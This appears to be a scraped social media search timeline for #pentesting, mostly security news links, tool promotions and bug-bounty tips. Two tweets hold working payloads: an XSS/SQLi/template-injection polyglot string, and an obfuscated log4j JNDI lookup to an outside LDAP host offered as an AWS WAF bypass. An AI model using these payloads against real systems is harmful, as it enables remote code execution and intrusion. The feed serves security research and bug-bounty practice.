Search timeline

Looser

@ManieshNeupane

·

Dec 16

To test XSS + SQLi + SSTI/CSTI with the same payload use : '"><svg/onload=prompt(5);>{{7*7}} ' ==> for Sql injection "><svg/onload=prompt(5);> ==> for XSS {{7*7}} ==> for SSTI/CSTI #bugbounty #infosec #TogetherWeHitHarder #bugbountyprotip #Pentesting #bugbountytips

112

252

Hakin9

@Hakin9

·

23h

Photon - Incredibly fast crawler designed for OSINT https://hakin9.org/photon-incredibly-fast-crawler-designed-for-osint/… #infosec #cybersecurity #redteam #pentest #pentesting #hacking #hackers #coding #opensource #linux #python #osint #DFIR

101

198

CyCatz

@cycatz2

·

Dec 16

#bugbountytips #bugbounty Information disclosure via Api Misconfiguration #API #Pentesting #appsec More..https://bit.ly/3yyyuPT

17

51

CyCatz

@cycatz2

·

Dec 20

#BugBounty #bugbountytips Bypassed AWS WAF for log4j jndi injection #Pentesting #WAF #AWS ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o}

48

135

Ptrace Security GmbH

@ptracesecurity

·

Dec 20

Clone a voice in 5 seconds to generate arbitrary speech in real-time https://github.com/CorentinJ/Real-Time-Voice-Cloning… #Pentesting #CyberSecurity #Infosec

86

205

Ptrace Security GmbH

@ptracesecurity

·

18h

The Worst Log Injection. Ever. (Log4j [2.0.0-alpha,2.14.1] ) https://blog.mindedsecurity.com/2021/12/the-worst-log-injection-ever-log4j-200.html… #Pentesting #AppSec #LOG4J #CyberSecurity #Infosec

7

19

code_purple

@codepurple_ch

·

Dec 20

There is a hacker attack every 39 seconds. #hacker #arrack #cybersecurity #infosecy #ethicalhacking #swissmade #pentesting #hacking

6

3

People

pentesting | breaking stuff for fun and profit

@PenTesting

Follow

Gabriel (Vadim) Toptunov | Guardian of Clouds and Protector of the Privacy Realm | Security Researcher | Penetration Tester | SOC/IR Expert | Hacker | Maker

View all

Lab401

@Lab_401

·

7m

Today let's talk about the NFCKILL (PROFESSIONAL VERSION) ! #dailypentestingearfix get yours: https://l.lab401.com/RKIgg #lab401 #pentesting #NFC #NFCKill #infosec #rfid

0:33

1 views

1

Ptrace Security GmbH

@ptracesecurity

·

Dec 21

Haptyc - Test Generation Framework https://kitploit.com/2021/12/haptyc-test-generation-framework.html… #Pentesting #CyberSecurity #Infosec

22

47

Ptrace Security GmbH

@ptracesecurity

·

13m

Exchange Exploit Leads to Domain Wide Ransomware https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/… #Pentesting #Ransomware #ProxyShell #CyberSecurity #Infosec

2

2

Looser

@ManieshNeupane

·

3h

Best of Networking Cheatsheet For more visit; https://maniesh360neupane.wixsite.com/hackedlifed #infosec #cybersecurity #pentesting #informationsecurity #technology #DataSecurity #CyberSec #networking

7

8

CyCatz

@cycatz2

·

Dec 22

#bugbountytips #bugbounty How I Bypassed Incapsula WAF By Imperva #Pentesting #appsec #WAF 1. Vulnerability 2. How I bypassed #Incapsula WAF 3. Exploit 4. WAF Bypass Payload More..https://bit.ly/3edQGFt

46

101

Hakin9

@Hakin9

·

11m

Our course, Reverse Engineering with Ghidra, is now available for only $189! Check it out >> https://hakin9.org/product/reverse-engineering-with-ghidra-w50/… #hacking #reverseengineering #ghidra #cybersecurity #ethicalhacking #infosec #pentesting #hackers #DFIR #malware #pentest

1

2

Ahmed Mohamed

@AhmedElmalky00

·

Dec 18

I had published my write-up of How to Claim subdomain takeover vulns via Flywheel with all steps. i hope that will help anyone in His Hunting or Pentest Process https://0xelmalky.medium.com/subdomain-takeover-via-flywheel-447a71d77396… #bugbountytips #bugbountytip #bugbounties #Pentesting #nuclei

0xelmalky.medium.com

Subdomain Takeover Via Flywheel

Flywheel is managed WordPress hosting built for designers and creative agencies to build, scale, and manage hundreds of WordPress sites…

57

135

Ptrace Security GmbH

@ptracesecurity

·

15h

log4j-detector: detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046) on your file-system within any application https://securityonline.info/log4j-detector-detects-vulnerable-log4j-versions/… #Pentesting #Vulnerability #CVE #CyberSecurity #Infosec

22

52

Ptrace Security GmbH

@ptracesecurity

·

16h

Did you understand House of Einherjar? https://hackmd.io/@gand3lf/houseofeinherjar… #Pentesting #Exploit #CyberSecurity #Infosec

14

29

HackerSploit

@HackerSploit

·

Dec 20

Windows Privilege Escalation - Weak Registry Permissions https://youtu.be/sb9npkEwWcg #infosec #CyberSecurity #Pentesting

youtube.com

Windows Privilege Escalation - Weak Registry Permissions

In this video, I demonstrate the process of identifying Windows services with weak registry permissions and how they can be exploited in order to elevate you...

30

70

CyCatz

@cycatz2

·

Dec 15

#bugbountytips #bugbounty CVE-2021–45043 HD-Network Real-time Monitoring System 2.0 #LFI Injection #Pentesting #appsec More..https://bit.ly/3pYMfUj

1

69

161

Ptrace Security GmbH

@ptracesecurity

·

Dec 17

Researcher publishes PoC for Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2021-42287, CVE-2021-42278) https://securityonline.info/researcher-publishes-poc-for-active-directory-domain-services-elevation-of-privilege-vulnerability-cve-2021-42287-cve-2021-42278/… #Pentesting #CyberSecurity #Vulnerability #Infosec

3

74

111

Hakin9

@Hakin9

·

10h

http://Proxy.py – A lightweight, single file HTTP proxy server in python https://hakin9.org/proxy-py-a-lightweight-single-file-http-proxy-server-in-python/… #infosec #cybersecurity #redteam #pentest #pentesting #hacking #hackers #coding #opensource #linux #proxy #python #http

26

55